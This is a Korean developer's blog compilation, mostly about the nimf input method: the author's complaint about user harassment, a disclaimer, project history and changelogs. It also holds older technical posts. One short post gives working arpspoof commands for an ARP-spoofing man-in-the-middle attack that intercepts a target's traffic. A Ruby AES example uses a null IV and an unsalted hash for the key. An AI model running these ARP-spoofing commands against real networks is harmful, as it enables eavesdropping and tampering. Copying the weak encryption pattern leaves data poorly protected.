그런데, 사실상 거부하기 어려운 이유가 있는데,
만약 거부하면 커뮤니티 게시판이나 공개된 웹사이트에 저를 원망하거나 비난하거나 음해를 한다는 것입니다. 이러한 일 꾸준히 있어 왔습니다. 제가 트라우마가 생겼습니다.

아마 다솜이라는 이름을 지금도 사용했더라면

개발자가 한국인이고 다솜(dasom)을 한국 사람이 가장 많이 사용할텐데 설명이 영어로 되어 있습니다. 아... 그래요? 빨리 시정되어야 할텐데 큰일이네요.
제가 인지하지 못하는 곳에서 지금까지도 욕먹고 있겠죠.

개발자에게 스토커짓을 하거나 군대처럼... 어쩌구 저쩌구...

저런 내용의 글을 커뮤니티 게시판에 떡하니 써놓질 않나...
그 글은 삭제되어 현재 찾을 수가 없습니다.

그래서 많은 고민 끝에 다솜(dasom)에서 님프(nimf)로 이름을 2015년 12월 개명했습니다.

nimf 로 개명한 후에는 페도라를 지원해달라는 이슈가 있었는데...
nimf 는 리눅스 입력기이기 때문에 이미 페도라를 지원합니다.
그래서 뭔가 안되나 싶어서 가상머신에 페도라를 설치해서 테스트해보니 잘 됩니다.
나중엔 오픈수세에서 안 된다고 해서 해보니 잘 됩니다.
안 되는 이유가 뭐였냐면, debian 계열과 fedora 계열에 입력기 설정하는 부분이 달라서 안 되었던 것입니다. 간단히 말해서 fedora 패키지를 만들어 달라는 얘기죠.
테스트에 시간 소비가 너무 많아서 이슈를 잠가버렸습니다.
그 일 없었으면 특근해서 약 20만원을 벌 수 있었을텐데, 손실이 생겨버린 겁니다.
좀 이상한 느낌이 들어서 커뮤니티 게시판에 가보니 불만을 써놓으셨더군요.
왜 이런 일이 발생할까요? 제가 잘못한건가요?
부적절한 이슈로 인하여 20만원의 직접적인 금전 손실이 발생했는데 기분 나쁘고 화내야 할 사람은 저이고, 패키지 제공은 의무사항이 아닙니다.
무상 개발, 무상 유지보수, 무상 서비스를 당연하다고 생각하기 때문에 이러한 일이 발생하는 것입니다.

올해 올라온 일본어 관련 이슈를 보면 참 어이가 없는게,
타 프로그램을 nimf 에 넣어서 패키지 해달라는 것도 있었습니다.

여러분들의 경우 이런 상황이면 어떤 선택을 하시겠습니까?
개발 및 유지보수를 계속 하실 수 있겠어요?

제 돈과 시간을 들여서 개발했는데 제가 정신적인 고통까지 겪어야 되겠습니까?

여러분들 외국인 개발자한테는 안 그러시잖아요.
그냥 제가 만만하니까 저한테 이러시는거 저도 알아요.

그래서 저는 제 자신을 보호할 장치를 찾아보았고,
그것은 면책 조항과 서비스 유료화임을 깨달았습니다.
그래서 서비스 유료화를 선언했더니,
아치리눅스 위키에 nimf 프로젝트가 완전히 중단되었다고 허위사실을 써놓지 않나,
공개된 게시판에 제 욕을 하고 AUR nimf-git 를 버리셨더군요.
그래서 그걸 제가 주서다가 파일을 새로 작성하여 올렸습니다.
기존 파일을 참고하여 업데이트하는 수준이 아니라, 아치리눅스 설명 따라서 그냥 새로 작성했습니다. 그 결과 당연히 파일 안에 있던 Contributor 항목이 삭제되었습니다.
그거 삭제되었다고 넣어달라고 이메일 오고 블로그에 악플 달리고 그러네요.
그런데, PKGBUILD 파일은 Makefile 같은 성격의 파일이에요.
파일 내부에 Contributor 를 넣는게 일반적이지 않답니다.
그걸 넣기 시작하면 파일이 Contributor 로 도배된답 말입니다.
제가 작성한 PKGBUILD 파일은 기존에 있던 걸 베끼거나 참고한게 아닙니다.
그래서 원칙적으로 따지자면 넣지 않는게 맞답니다.
그 내용이 이미 여기에 있답니다.

https://gitlab.com/nimf-i18n/nimf/blob/master/debian/control

제가 작성한 파일을 보고 만든게 PKGBUILD 입니다.
애초부터 PKGBUILD 파일은 제가 작성한 파일을 토대로 만들어진 겁니다.

https://github.com/dasom-im/dasom/issues/1

이건 뭐... 주객이 전도되어 오히려 저한테... 뭐라하는데 참.. 어이가 없습니다.

그리고 PKGBUILD 파일을 1년 이상 업데이트 안 하다가 공개된 게시판에 제 욕하고 버렸는데... 그걸 제가 살려놓은 거에요. 기분도 많이 상하고 아무말도 안 하고 참고 있었는데...
블로그에 악플까지 달리니 원..

3년 이상을 제 시간, 제 돈을 투입하여 개발해오고 있고,
소스코드, 패키지를 무상으로 제공해왔는데
제가 무슨 죄가 있다고 욕을 먹고 정신적으로 고통을 겪어야 하나요?
님들 외국인 개발자들에게는 안 그러시잖아요.

도대체 저한테 왜 그러는 거에요?

그래서 저를 보호할 수 있는 장치를 만들었습니다.
그것은 바로 면책 조항과 서비스 유료화입니다.
이렇게 하면 nimf 가 오픈소스가 아니다고 허위 사실 유포하는 사람들이 생겨나겠죠.
그러지 맙시다. 왜 자꾸 저와 싸우려고 하십니까?
저는 지금까지 제 시간과 제 돈을 투입하여 개발해왔고 무상으로 제공하고 있습니다.
오픈소스는 개발 및 유지보수의 의무가 없으며, 요청을 거부할 수 있습니다.
돈받아서 개발하여 오픈소스로 푸는 것도 오픈소스가 맞습니다.
GNOME, 파이어폭스는 돈받아서 개발하여 오픈소스로 풀고 있습니다.
그리고 nimf 에 대한 서비스 유료화는 제가 돈을 벌고 싶어서 그러는것이 아니라,

불특정 다수로부터 제 자신을 보호하기 위한 목적으로
서비스 유료화를 하는 것입니다.

그리고 입력기라는게 상업적인 가치가 없어서 돈을 벌 수 없다는 것도 알고 있습니다.
서비스를 유료화해도 아무도 서비스를 구입하지 않는다는 걸 알아요!!!!
그러면 어떤 이득이 있느냐?
사용자분들이 저에게 말도 안 되는 요구를 할 수 없게 되는거죠.

말도 안 되는 요구를 하면,
"그래요? 그럼, 돈 내세요."

딱 이렇게 되는거거든요.


# 면책 조항

nimf 는 오픈소스 소프트웨어입니다. 
nimf 개발자는 개발 및 유지보수에 대해 어떠한 의무도 없고 어떠한 책임도 없습니다. 
어떠한 경우에도 보증하지 않습니다. 도덕적, 도의적 보증 책임 또한 없습니다. 
nimf 프로젝트는 여러분들의 고객 센터가 아닙니다. 
자신의 뜻대로 되지 않는다 하여 

* 사람들이 많이 방문하는 커뮤니티 게시판에 개발자를 욕(비난)하거나
* 욕보이는(음해하는) 글을 작성하거나
* 허위 사실을 공표하는

등의 행위를 삼가시기 바랍니다. 
자신의 뜻대로 하고 싶은 분들은 nimf 개발 및 유지보수 계약을 체결하시기 바랍니다. 
nimf 개발 및 유지보수 계약에 대한 기본 조건은 다음과 같습니다. 

* 유상으로 작성한 코드에 대한 저작권은 협의에 따라 개발자 또는 돈 주신 분이 소유합니다. 
* 그리고 그 코드는 nimf 가 현재 채택하고 있는 오픈소스 라이선스로 공개됩니다.

nimf 프로젝트를 고객센터라고 여기지 말고, 
nimf 를 함께 가꾸어간다는 생각으로 접근해 주시길 바랍니다. 


아래는 nimf 역사에 대한 참고 자료
---------------------------------------------------------

악명 높은 끝글자 버그를 고칩시다-1


글쓴이: hodong / 작성시간: 일, 2014-12-28 23:17

지인들과 리눅스에 대해 이야기하는 일이 종종 있었는데, 지인들이 리눅스 사용에 대해 큰 호감을 가지고 있었습니다.
사무실 컴퓨터를 리눅스 컴퓨터로 교체하는 것에 대해 제게 문의를 하곤 했었는데,
제가 말렸습니다.
왜냐고요?
리눅스를 사용할 때 겪게 되는 아주 악명높은 끝글자 버그 때문입니다.

자세한 내용은 이곳 참고
https://kldp.org/node/93540
https://kldp.org/node/141357
(..중략..)

악명 높은 끝글자 버그를 고칩시다-2


글쓴이: hodong / 작성시간: 월, 2014-12-29 21:07

gedit에 한글을 쓰다가 마우스를 클릭하면 조합 중인 글자(pre-edit text)가 마우스를 따라가서 엉뚱한 곳에 달라붙는 끝글자 버그가 있는데 gedit는 gtktextview를 사용합니다.
그래서 gtktextview.c 소스를 살펴보았습니다.

키를 누를 때 실행되는 함수
(...중략...)

ibus 끝글자 버그를 고칩시다-3

글쓴이: hodong / 작성시간: 토, 2015-01-24 22:54

오늘 ibus, ibus-hangul 프로젝트에 보낼 패치 작성을 완료했고 ibus 프로젝트에는 패치를 보냈습니다. https://github.com/ibus/ibus/pull/15
이 패치가 수용된다면 ibus에 추가된 속성을 이용하는 패치를 ibus-hangul 프로젝트에 또 보내야 합니다. 벌써 다 만들어놓았죠. 끝글자 버그 잡기를 2014년 12월 28일부터 시작해서 2015년 1월 24일 완료되었네요. 총 28일 걸렸군요. 그동안 잘 쉬지도 못하고 잠도 제대로 못자서 참 힘들었었습니다. 이제 푹 잘 수 있겠군요. 끝글자 버그 잡으면서 주말 알바 못 나가서 발생한 손실액이 17만원 정도 되는군요. 그래도 이렇게 웹 브라우저에 글쓰면서 습관처럼 누르던 컨트롤키를 이제는 안 눌러도 되니 마음이 한결 편안해지는군요.
(...중략...)

다국어 입력기 프레임워크 모두Modu를 시작합니다.

글쓴이: hodong / 작성시간: 월, 2015-02-02 06:36

    2015.6.11 내용 추가
    프로젝트 이름을 '모두'에서 '다솜'으로 변경하였습니다.
    다솜 프로젝트 주소 https://github.com/cogniti/dasom

그동안 끝글자 버그에 시달리다가 ibus 소스를 보게 되었습니다.
코드를 보아하니 구조가 좀 ... 거시기 하더군요.
ibus는 클라이언트 --- 서버 --- 엔진 사이의 IPC 때문에 아래처럼 어쩔 수 없이 비동기적으로 작동합니다.
(...중략...)

모두 입력기의 이름을 다솜으로 개명하였습니다

글쓴이: hodong / 작성시간: 토, 2015-05-23 00:06

입력기를 개발할 때에 모듈러 구조로 만들면서 "모두"라는 이름을 붙였었습니다.
모듈러 구조로 개발하면서 자원을 중복 소비하는 문제점과 모듈에 문제가 있을 경우, 응용 프로그램이 죽어버리는 치명적인 단점 때문에 서버 모듈 구조로 변경하면서 "모두"라는 이름이 칙칙하게 느껴져서 우분투 포럼에 "입력기 프레임워크 이름을 공모합니다." http://www.ubuntu-kr.org/forum/viewtopic.php?f=4&t=27999 라는 글을 올렸고,

입력기 프레임워크 이름을 공모합니다.

글올린이: hodong » 2015/03/30 월 11:35 pm
옛날에 유닉스를 사용할 때 한글 입력이 불편하지는 않았습니다.
그런데 이상하게도 세월이 흐르고 환경이 변화되면서 한글 입력이 점차 불편해지게 되었습니다.

현재 ibus가 리눅스용 입력기로 대세인데,,
여러 불편한 점들이 있습니다.
(...중략...)


다솜 입력기 개발 진행 상황

글쓴이: hodong / 작성시간: 토, 2015-05-23 00:29

다솜 입력기는
클라이언트용 im 라이브러리, 서버, 서버 모듈 등으로
구성되어 있습니다.

클라이언트와 서버는 완전 동기적으로 작동하여, 클라이언트에서 im 라이브러리를 호출하면 그에 대응하는 서버 모듈이 동기적으로 작동하므로 예측이 쉽고, 부작용이 없습니다.
한글 입출력이 잘 되고 있습니다.

dasom 서버가 xim 서버의 역할도 수행합니다. 하나의 프로세스에 두 가지 서버가 작동하는 하이브리드 서버입니다.

앞으로 할 일은
후보창, 상태창
입니다.
후보창과 상태창은 서버측에서 작동하게 만들 것입니다.

상태창은 사용자 편의를 위해 데스크탑 환경에 통합될 수 있도록 각각의 환경에 대해 애플릿 형태로 만드는 것이 좋을 듯합니다.
이렇게 되면 상태창은 다솜 서버와는 별개의 프로세스로 작동하므로 다솜 서버와 통신해야 합니다.

후보창은... 고려해 볼 것이 있습니다.

1. 다솜 서버 프로세스에서 작동하는 방식
(...중략...)

다솜 입력기 구조 (초안)

글쓴이: hodong / 작성시간: 일, 2015-05-31 20:37

Architecture for Dasom Input Method Framework (draft)
-----------------------------------------------------

      +- a process ---+    +----- a process -------+  +- a process --+
      | gtk im module |    | gnome-shell-extension |  |   X server   |
      +---------------+    +-----------------------+  +--------------+
              |                        |                     ^ |
              | calls                  | calls               | |
              |                        |                     | |
    +------------------+    +---------------------+          | |

(...중략...)

다솜 입력기 소스를 조기에 공개할까 합니다.

글쓴이: hodong / 작성시간: 수, 2015-06-03 00:41

어휴 답답한 정부...
메르스 발생 지역, 발생 병원을 공개해야 사람들이 피하고 주의하지...
그래야 확산이 줄어들지...
정부가 병원 수익을 왜 걱정하냐. 탄저균에 메르스에 우리들은 언제 죽을지 모르는 파리 목숨입니다.
일이 손에 잡히지도 않습니다.
입력기 소스를 미완성 상태로 공개하면 창피해서 자존심 상하고, 이거 해주셈, 저거 해주셈, 세벌식은 왜 지원 안 함? 각종 요구로 피곤해지고,
소프트웨어 출품 대회나 전시회 있으면 호시탐탐 노리는 사람들이 있을텐데...
그래서 완성된 상태로, 공개와 동시에 각종 사이트에 알림글을 올려야 하는데...
현 정권, 현 정부가 취하는 대응을 보면 무정부 상태에 있는 듯한 느낌이라... 어느날 갑자기 죽을 수도 있다는 생각이 많이 듭니다.
그래서 소스코드 조기 공개 여부를 고려하고 있습니다.

우분투 포럼에 글을 남겼습니다.
(...중략...)

다솜 입력기 테스트 버전을 준비하고 있습니다.

글쓴이: hodong / 작성시간: 토, 2015-07-04 16:24

안녕하세요...
다솜 입력기를 만들기 시작한지가 벌써 5개월 정도 지났습니다.
최근 입력기 서버 및 im 클라이언트에 있던 굵직한 버그(race condition)를 잡았습니다.
그걸 잡고 나니 focus out / focus in 이 싱크가 안 맞더군요.
자세히 살펴보니...
창이 2개가 있고, 창1에 포커스가 있을 때, 창2번을 찍으면
창1번은 focus out 신호를 발생시키고 focus out 신호에 대한 처리(reset, commit 등)가 완료되지 않아도
창2번은 바로 focus in 신호를 발생시킵니다.
아마도 윈도 관리자가 창관리를 thread로 처리할 것으로 추정됩니다. 그래서 이러한 현상이 나타나는 것 같습니다.
그래서 focus in / out 싱크 맞추기 위해 아래처럼 작성하였습니다.
(...중략...)

다솜 입력기 개발 일정 순서

글쓴이: hodong / 작성시간: 목, 2015-07-23 23:38

제가 오늘 다솜 입력기가 먹통되는 현상을 겪었습니다.ㅠㅠ

0. 오늘 발견한 먹통 현상(race condition) 해결할 것.

1. 우분투 유니티 한/영 표시기

2. 정음(한글) 엔진 설정기 --- 키 설정, 두벌식,세벌식 선택 기능.

이렇게 만들 예정입니다. 다음은 순서는 미정.
열심히 사용해 주세요.
감사합니다.
(...중략...)

다솜 입력기 개발 일정 순서2

글쓴이: hodong / 작성시간: 일, 2015-08-09 02:40

앞으로 qt4, qt5를 지원하기 위한 작업을 할 것입니다.
qt4, qt5를 지원하기 위해서는 제가 C++과 QT를 공부해야 하므로 시간이 좀 걸리겠습니다.
그 다음 작업은 미정입니다.
(...중략...)

다솜 입력기 개발 일정 순서3

글쓴이: hodong / 작성시간: 일, 2015-08-23 22:44

1. qt 환경 테스트

qt4, qt5를 지원합니다. 다만, 테스트 과정에서 다솜 서버 및 qt 어플이 정지되는 경우가 발생하여,
중복적인 set cursor location 함수 호출을 줄이고,
dasom_message_new_full() 함수에서 ref_count = 1 이 없는 것을 확인하여 이를 추가하였습니다.
다솜 서버 및 qt 어플이 정지되는지 좀 더 테스트를 해야 합니다.
제가 KDE, qt 사용자가 아니다보니 테스트를 수행하지를 못하고 있습니다.
KDE, qt 사용자 분들이 다솜 입력기를 설치하셔서 테스트를 수행해주시면 고맙겠습니다.
KDE, qt 테스트라고 해서 특별한 것은 없고 그냥 KDE, QT 환경에서 열심히 사용하시는 것이 테스트입니다.

여기까지 해결한 후에 앞으로 할 일들 --- 언제 시작할지 예정없음.

설정창, 상태창, 중국어 입력기
(...중략...)

다솜 입력기 릴리즈 준비 중입니다.

글쓴이: hodong / 작성시간: 월, 2015-09-21 01:22

안녕하세요.
그동안 다솜 입력기를 충분히 테스트하였고, 알고 있는 모든 버그를 잡았습니다.
그런데, daemonize 코드를 적용하는 중 2015년 9월 13일, gnome-terminal 사용 중 gnome-terminal 정지한 적이 있습니다.
이것은 그후 지금까지도 재현된 적이 없습니다. 그래서 다솜 버그인지 아닌지 확인조차 못했습니다.
다솜 입력기는 현재 반드시 필요한 최소한의 기능을 모두 갖추었으며 매우 안정적으로 작동하므로 이제 릴리즈를 준비하고자 합니다.
최종적으로 FIXME, TODO 를 확인하여 수정할 부분을 수정하고, 버전을 붙이고 deb 패키지를 위한 debian 파일들을 작성한 후 릴리즈를 할 것입니다.
약 1개월 전후하여 정식 출시 예정입니다.
(...중략...)

dasom (1.0) stable; urgency=medium


  * Initial Release

  * Dasom is an input method framework, which provides
    - Input Method Server including XIM
    - Language Engines for Korean, English
    - IM Modules for GTK+2, GTK+3, Qt4, Qt5
    - Indicators for GNOME Shell, Unity, KDE, GNOME panel

 -- Hodong Kim <cogniti@gmail.com>  Fri, 09 Oct 2015 01:21:10 +0900


Changed the name of project to Nimf


Author: Hodong Kim <cogniti@gmail.com>
Date:   Tue Dec 29 23:25:54 2015 +0900

nimf (2016.04.26) stable; urgency=medium


  * Initial Release

  * Nimf is an input method framework, it has a module-based client-server
    architecture where applications act as clients and communicate with the
    Nimf server via toolkit-specific input context modules and one socket per
    process.

  * Nimf provides
    + Input Method Server
      - nimf-daemon including XIM
    + Language Engines
      - Chinese:  nimf-sunpinyin (based on sunpinyin, under the development)
      - Japanese: nimf-anthy     (based on anthy, under the development)
      - Korean:   nimf-libhangul (based on libhangul)
    + Client Modules
      - GTK+2, GTK+3, Qt4, Qt5
    + Indicator
      - nimf-indicator (based on libappindicator3) for Unity, GNOME Panel, KDE
    + Development files

 -- Hodong Kim <cogniti@gmail.com>  Tue, 26 Apr 2016 06:31:55 +0900

2018년 7월 21일 토요일

MeCab을 이용한 한국어 형태소 분석과 폐쇄적인 21세기 세종 계획 성과물

이 글은 2012년 8월 5일에 작성한 글입니다.
현 시점과 맞지 않을 수 있습니다.

글쓴이: hodong / 작성시간: 일, 2012-08-05 01:37

우리는 21세기 첨단 시대에 살고 있다. 이러한 시대에 인공지능적인 재미있는 작업을 하려면 형태소 분석기는 필수적이다. 그러나, 공개되어 있는 한국어 형태소 분석기를 살펴보면 쓸만한 분석기가 별로 없다. 그나마 쓸만한 것은 한나눔이라는 형태소 분석기인데 띄어쓰기가 되지 않은 문장은 분석하지 못하고 java 언어 기반이어서 불편한 점이 있다. 그리고 꼬꼬마(kkma)라는 분석기가 있는데 공개 소프트웨어 은상까지 받고 GPL 라이선스라면서 역설적으로 소스를 구할 수가 없어(http://project.oss.kr/data/3th_source/KOKOMA.zip 파일을 열어보면 pptx 문서 파일이다.) 어처구니가 없다. 공개 소프트웨어 은상까지 받고 소스를 공개하지 않으면 상을 회수해야 하는 것 아닌가.

이러한 시점에서 우리는 일본어 형태소 분석기 MeCab 에 주목할 필요가 있다.
http://mecab.googlecode.com/svn/trunk/mecab/doc/index.html

MeCab의 특징

언어, 사전 코퍼스에 의존하지 않는 범용적인 설계
품사 독립적 설계
CRF 채용하여 HMM 보다 성능 향상
CRF 값 추정 가능
Double-Array TRIE
각종 스크립트 언어 바인딩 (perl / ruby​​ / python / java / C#)

MeCab 설명서를 좀 읽어보니 일본어뿐만 아니라 한국어 사전만 있으면 한국어 형태소 분석도 가능할 것처럼 보여 "나는 밥을 먹었다"를 분석할 수 있는 아주 간단한 한국어 형태소 분석용 사전을 만들어보았는데 정상적으로 돌아가는 것 같다.

cogniti@debian:~/projects/kdic$ make
/usr/lib/mecab/mecab-dict-index -d . -c UTF-8 -t UTF-8 -f UTF-8
reading ./unk.def ... 43
emitting double-array: 100% |###########################################|
reading ./word.csv ... 6
emitting double-array: 100% |###########################################|
reading ./matrix.def ... 1509x1509
emitting matrix      : 100% |###########################################|

done!

cogniti@debian:~/projects/kdic$ mecab -d .
나는 밥을 먹는다
나 대명사,*,*,*,*,*,*,*
는 조사,주격조사,*,*,*,*,*,*
밥 명사,일반명사,*,*,*,*,*,*
을 조사,목적격조사,*,*,*,*,*,*
먹는다 동사,*,*,*,*,*,*,*
EOS


루비 바인딩도 있어서 편하다.

# coding: utf-8
require 'MeCab'
m = MeCab::Tagger.new ("-d .")
print m.parse ("나는 밥을 먹는다")



국민 세금으로 개발한 21세기 세종 계획의 성과물(말뭉치, 전자사전)은 폐쇄적이다.


비공개 한국어 형태소 분석기들은 대학별로 각개 개발을 하는 것처럼 보이고 폐쇄성은 이루 말할 것도 없다. 언어를 폐쇄적으로 연구하면 연구가 잘 될까? 그에 반하여 영어(스탠포드), 일본어의 경우 기관 또는 대학들에서 소스까지 공개해주고 있다. 품질도 우수하다.

21세기 세종 계획의 일환으로 국민의 세금을 들여서 만든 지능형 형태소 분석기는 소스는 제공되지 않고 중요한 사전 파일은 암호화되어 있는 듯 했다. 이로 미루어볼 때 국민의 세금으로 만든 형태소 분석용 사전을 절대 공개할 수 없다는 입장인 것 같다. 하긴 말뭉치(corpus) 구하는 것도 쉽진 않다. 회원 가입해야 받을 수 있다고 하여 회원 가입을 하였건만 21세기 세종 계획의 성과물 배포 링크는 작동되지 않았고 국립국어원 측에서는 이를 알고도 고쳐주지 않고 있다.

2010-03-21 공지사항: 성과물 배포 시스템의 내려받기 기능 오류 및 대체 방안
현재 21세기 세종계획 성과물 관리 시스템(http://www.korean.go.kr/sejong/)의 내려받기 기능이 제대로 작동하지 않고 있습니다. 불편을 끼쳐 드려서 죄송합니다. 조만간 내려받기 기능이 정상적으로 작동할 수 있도록 노력하겠습니다.

2012-01-02 공지사항: 국립국어원에서는 21세기 세종계획 최종 성과물 수정판(2011년 12월 제작)을 배포하고 있습니다. 21세기 세종계획 성과물이 필요하신 분은 국어원에 내방하시어 약정서 작성 후 직접 받아가시거나 다음과 같이 신청하여 이메일이나 팩스가 아닌 우편으로 주시면 보내드리겠습니다.


약정서를 작성해서 국립국어원으로 보내면 DVD를 보내 준다고는 하는데... 21세기에 가당키나 한 말인가? 그 약정서라는 것이 hwp 파일로 되어 있어서 읽어보지 못했는데 아마 이상한 내용이 있을 것으로 짐작된다. 무슨 말이냐면 형태소 분석기가 돌아가려면 말뭉치를 분석하여 만든 형태소 분석용 사전이 있어야 되는데 형태소 분석기라는 프로그램을 배포하면서 이 사전을 배포하지 못하는 듯하다.

21세기 세종계획 성과물 신청 양식을 보면 이런 조항이 있다.

제3조. 을은 갑으로부터 제공받은 자료가 어떠한 이유에서든지 유출되어 문제가 발생하였을 경우 전적으로 민, 형사상의 모든 법적 책임을 부담한다.

어처구니가 없는 조항이다. 자기들(갑)은 이미 국립국어원 홈페이지 검색과 DVD 로 유출하고 있지 않은가? 유출이 되어서는 안 되는 자료라면 왜 DVD로 보내줄까. 참 이상한 사람들이다.


인터넷에서 쉽게 구할 수 있는 공개된 일본어 말뭉치(corpus)


일본의 경우 형태소 분석용으로 다양한 사전이 존재한다. ipadic, naist-dic, juman-dic, unidic 등이 있는데, 모두 공개되어 있다. 이중 naist-dic 은 BSD 라이선스와 유사하다.
그리고 영어,일본어 말뭉치(corpus)는 공개되어 있어서 통째로 인터넷에서 쉽게 구할 수 있다.

교토 텍스트 코퍼스


Tanaka Corpus http://www.edrdg.org/wiki/index.php/Tanaka_Corpus#Downloads

http://corpus.kanji.zinbun.kyoto-u.ac.jp/cgi-bin/gitweb.cgi?p=corpus/mecab-kanbun.git;a=summary

그에 반하여 한국어 말뭉치는 공개되지 않아서 쉽게 구할 수 없다. 한국어 말뭉치와 사전의 폐쇄성 때문에 한국어 형태소 분석기의 품질이 MeCab에 비하여 크게 떨어지는 것은 아닐까?

결론

사전 제작은 개인이 하기 매우 방대한 분량인 만큼 문화체육관광부와 국립국어원에서 '21세기 세종 계획'의 일환인 말뭉치를 BSD 또는 GPL 또는 GFDL 또는 CCL 라이선스 등으로 일반에 전격 개방해준다면 MeCab용 한국어 형태소 분석용 사전 제작이 가능하리라 본다.

스니핑(sniffing)

2011년 8월 8일 월요일

스니핑(sniffing)은 패킷을 감청하는 것을 의미한다.
허브에 PC1~PC8까지 연결되어 있다고 할 경우,
그 중 임의의 컴퓨터에서 자신을 포함한 다른 컴퓨터에서 보내는 패킷을 감청할 수 있다.
자신의 랜카드가 promiscuous 모드를 지원한다면, wireshark 로 보면 된다.
자신의 랜카드가 promiscuous 모드를 지원하지 않을 경우에는 wireshark로 보면 자신의 것밖에는 보이지 않는다. 이 경우, arpspoof 를 이용한다. arpspoof 는 dsniff 패키지에 들어있다.

apt-get install dsniff

# ip forward 기능 활성화
echo 1 > /proc/sys/net/ipv4/ip_forward

# gateway ip: 192.168.10.1 또는 192.168.1.1, 게이트웨이 IP는 다를 수 있다.
# 목표물 ip: 192.168.10.5
arpspoof -t 192.168.10.5 192.168.10.1 &
arpspoof -t 192.168.10.1 192.168.10.5 &


이렇게 하면 공격자가 목표물과 gateway 사이에 끼어들게 된다.

목표물(192.168.10.5) -- 공격자 -- gateway -- 외부 네트워크

따라서 패킷 감청, 변조가 가능하다. ngrep, wireshark 등의 프로그램으로 패킷을 감청할 수 있다.
작업을 끝낸 후에는 killall arpspoof 명령으로 위의 프로세스를 죽이도록 하자.

가중치가 붙은 랜덤(weighted random)

2011년 5월 9일 월요일

가중치에 따라서 임의로 자료를 출력하는 소스이다.

# 아래처럼 가중치가 붙은 자료가 있다.
data1 = 1; w1 = 0.2
data2 = 2; w2 = 0.3
data3 = 3; w3 = 0.5

r = rand()

# r의 값의 범위는 0.0 <= r < 1.0 이다.
# 이것을 선형(linear)으로 표현할 수 있다.

# w11 = w1 = 0.2
# w22 = w1 + w2 = 0.5
# w33 = w1 + w2 + w3 = 1.0

#      w11    w22        w33
#      0.2    0.5        1.0
#  +----+------+----------+
# 0.0      r             1.0

#   0 <= r < w11 이면 data1 을 출력
# w11 <= r < w22 이면 data2 을 출력
# w22 <= r < w33 이면 data3 을 출력

if r < w1
    puts data1
elsif r < w1 + w2
    puts data2
elsif r < w1 + w2 + w3
    puts data3
end

# 아래처럼 써먹을 수도 있다.

r = rand
[[data1, w1], [data2, w2], [data3, w3]].each do |data, w|
    if r < w
        puts data
        break
    end
    r = r - w
end

공인인증서 = 짐승표 ?

2011년 3월 31일 목요일

보안계시록 13장 16~18절


16. 그가 모든 자 곧 작은 자나 큰 자나 부자나 가난한 자나 자유인이나 종들에게 그 핸드폰에나 PC에 공인인증서를 받게 하고
17. 누구든지 이 공인인증서를 가진 자 외에는 매매를 못하게 하니 이 공인인증서는 곧 짐승의 이름이나 그 이름의 수라
18. 지혜가 여기 있으니 총명한 자는 그 짐승의 수를 세어 보라 그것은 사람의 수니 그의 수는 육백육십육이니라

요한계시록 13장 [개역개정]


16. 그가 모든 자 곧 작은 자나 큰 자나 부자나 가난한 자나 자유인이나 종들에게 그 오른손에나 이마에 표를 받게 하고
17. 누구든지 이 표를 가진 자 외에는 매매를 못하게 하니 이 표는 곧 짐승의 이름이나 그 이름의 수라
18. 지혜가 여기 있으니 총명한 자는 그 짐승의 수를 세어 보라 그것은 사람의 수니 그의 수는 육백육십육이니라


ASCII 값을 합해보니 666 값이 나옵니다.

("KOREA" + "KISA").sum
#=> 666
("KISA" + "PKI" + "IE").sum
#=> 666



다음은 666 검출 코드입니다.ㅋㅋㅋㅋ

# !/usr/bin/ruby
# detect 666 in names combination
def detect666 names
    (1..names.length).each do |n|
        sums = []
        names.combination(n).each do |comb|
            sum = comb.join.sum
            p comb if sum == 666
            sums << sum
        end
        break if sums.min > 666
    end
end

names = ['KOREA', 'MOPAS', 'KISA', 'KCC',
         'ETRI', 'FSS', 'PKI', 'IE', 'SEED']

detect666 names

암호화

2011년 3월 29일 화요일

해시값 생성

해시값은 digest 라고 불리기도 한다.

#!/usr/bin/ruby

require 'digest/md5'

s = "hello"
puts Digest::MD5.digest(s)
puts Digest::MD5.hexdigest(s)
puts Digest::MD5.base64digest(s) # 1.9.1



Cipher 를 사용한 AES 암호화 예제

# coding: utf-8
require 'openssl'
require 'digest'

# setup
password = 'password'
key = Digest::SHA256.digest password

# encrypt
encipher = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
encipher.encrypt

# key 길이가 같아야 한다. 길이가 클 경우 큰 부분이 무시되므로 안전하지 않다
# 여기서는 항상 같다
if encipher.key_len == key.length
    encipher.key = key
else
    raise "key length mismatch"
end

# iv 을 설정하지 않을 경우 기본값으로 null 값이 할당된다.
# iv = "\x00" * iv_len

encrypted_text = encipher.update('This is a message.')
encrypted_text << encipher.final

# decrypt
decipher = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
decipher.decrypt
decipher.key = key
decrypted_text = decipher.update(encrypted_text)
decrypted_text << decipher.final


사용하기 편리하게 String 클래스에 합체해보자.

# coding: utf-8
class String
    # iv 을 설정하지 않을 경우 기본값으로 null 값이 할당된다.
    # iv = "\x00" * iv_len
    def encrypt password
        encipher = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
        encipher.encrypt
        encipher.key = Digest::SHA256.digest password
        encrypted_text = encipher.update(self)
        encrypted_text << encipher.final
    end

    def decrypt password
        decipher = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
        decipher.decrypt
        decipher.key = Digest::SHA256.digest password
        decrypted_text = decipher.update self
        decrypted_text << decipher.final
        decrypted_text.force_encoding("utf-8")
    end
end

encrypted_string = "암호화 테스트입니다.".encrypt("password")
decrypted_string = encrypted_string.decrypt("password")

p [encrypted_string, decrypted_string]

소스 생성기

2011년 3월 29일 화요일

경우의 수대로 자동으로 소스 코드를 생성하는 프로그램은 BNF와 통계 DB를 둠으로써 실행 가능한 파일을 생성하도록 만들 수 있으리라 생각한다.
시스템 보호는 가상화 시스템을 통하여 보호할 수 있으며 컴파일과 프로세스 생성은 시스템 라이브러리로 해결되고 기계 학습 개념을 심어주면 놀라운 프로그램이 만들어질 것으로 생각된다.
많은 과학자들은 인간의 단편적인 기능 위주로 연구를 하였는데 여기서는 아래와 같은 단순 코드에서부터 출발한다.
인간이 직접 스스로를 연구하면서 인간의 지능을 구현하는 것은 매우 비효율적이라 생각된다.
인간의 학습능력은 어떻게 구현하겠는가?
모든 것이 학습이 되어 있는 성인의 지능을 흉내내는 방법보다는 갓난 아이의 기본틀을 만들어서 학습하게 하는 방법이 좋다고 생각한다.
아래의 코드를 수정을 하여 그렇게 하게 만들 수 있으리라 생각한다.
